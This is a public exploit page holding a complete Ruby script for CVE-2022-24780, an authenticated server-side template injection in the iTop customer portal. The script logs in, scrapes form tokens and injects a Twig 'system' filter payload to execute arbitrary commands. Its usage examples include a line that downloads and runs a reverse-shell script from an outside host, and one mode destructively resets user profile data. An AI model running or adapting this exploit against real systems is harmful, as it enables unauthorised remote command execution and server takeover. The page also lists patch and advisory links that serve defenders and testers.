Share
## https://sploitus.com/exploit?id=PACKETSTORM:167236
#!/usr/bin/env ruby  
  
# Exploit  
## Title: iTop < 2.7.6 - (Authenticated) Remote command execution  
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)  
## Author website: https://pwn.by/noraj/  
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780  
## Date: 2022-05-20  
## Vendor Homepage: https://www.combodo.com/itop  
## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz  
## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0  
## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28)  
  
# Vulnerability  
## Discoverer: Markus KRELL  
## Date: 2021-10-04  
## Discoverer website: https://markus-krell.de/  
## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312  
## Title: Server-Side Template Injection inside customer Portal  
## CVE: CVE-2022-24780  
## CWE: CWE-94, CWE-1336  
## Patch:  
## - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b  
## - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305  
## - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3  
## References:  
## - https://nvd.nist.gov/vuln/detail/CVE-2022-24780  
## - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54  
## - https://markus-krell.de/itop-template-injection-inside-customer-portal/  
  
require 'httpx'  
require 'docopt'  
require 'nokogiri'  
  
doc = <<~DOCOPT  
iTop < 2.7.6 - (Authenticated) Remote command execution  
  
Usage:  
#{__FILE__} full <url> <username> <password> <cmd> [--debug]  
#{__FILE__} light <url> <username> <password> <cmd> [--debug]  
#{__FILE__} -h | --help  
  
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information  
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function  
  
Options:  
<url> Root URL (base path) including HTTP scheme, port and root folder  
<username> iTop portal username  
<password> iTop portal user password  
<cmd> Command to execute on the target  
--debug Display arguments  
-h, --help Show this screen  
  
Examples:  
#{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'  
#{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'  
DOCOPT  
  
  
def login(root_url, user, pass, http)  
login_url = "#{root_url}/pages/UI.php"  
params = {  
'auth_user' => user,  
'auth_pwd' => pass,  
'login_mode' => 'form',  
'loginop' => 'login'  
}  
  
http.post(login_url, form: params).body.to_s  
end  
  
def login_watir(root_url, user, pass, browser)  
login_url = "#{root_url}/pages/UI.php"  
browser.goto login_url  
  
browser.text_field(id: 'user').set(user)  
browser.text_field(id: 'pwd').set(pass)  
  
browser.button(value: 'Enter iTop').click  
end  
  
def fetch_form(root_url, http)  
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"  
  
# Fetch and parse HTML document  
doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)  
action = doc.css('form').first['action']  
transaction_id = doc.css('input[name="transaction_id"]').first['value']  
form_id = doc.css('form').first['id']  
# doesn't work because it's populated with javascript, we'll need watir for that  
#phone = doc.css('input[id^=field_phone]').first['value']  
#location = doc.css('select[id^=field_location_id] option[selected]').first['value']  
#function = doc.css('input[id^=field_function]').first['value']  
return {action: action, tid: transaction_id, fid: form_id}  
end  
  
def exploit(root_url, cmd, http, browser)  
form_data = fetch_form(root_url, http)  
vuln_url = "#{root_url}#{form_data[:action]}"  
user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser)  
params = {  
'operation' => 'submit',  
'stimulus_code' => '',  
'transaction_id' => form_data[:tid],  
# source data already escapes backslashes and double quotes for JSON  
# so \ -> \\ and " -> \"  
# but we need to esacpe backslash once for Ruby too because we need an interpolated string  
# so \ -> \\ -> \\\\ and " -> \\"  
'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager',  
'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^,  
'current_values[phone]' => user_info[:phone],  
'current_values[location_id]' => user_info[:location],  
'current_values[function]' => user_info[:function]  
}  
  
http.post(vuln_url, form: params).body.to_s  
end  
  
def fetch_form_js(root_url, browser)  
# those values can't be fetched with nokogiri alone sicne they are populated using javascript  
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"  
browser.goto profile_url  
phone = browser.text_field(name: 'phone').value  
location = browser.select(name: 'location_id').selected_options.first.value  
function = browser.text_field(name: 'function').value  
  
return {phone: phone, location: location, function: function}  
end  
  
begin  
args = Docopt.docopt(doc)  
pp args if args['--debug']  
  
http = HTTPX.plugin(:cookies)  
login(args['<url>'], args['<username>'], args['<password>'], http)  
  
if args['full']  
require 'watir'  
require 'webdrivers'  
  
b = Watir::Browser.new :firefox  
login_watir(args['<url>'], args['<username>'], args['<password>'], b)  
elsif args['light']  
b = nil  
end  
  
exploit(args['<url>'], args['<cmd>'], http, b)  
rescue Docopt::Exit => e  
puts e.message  
end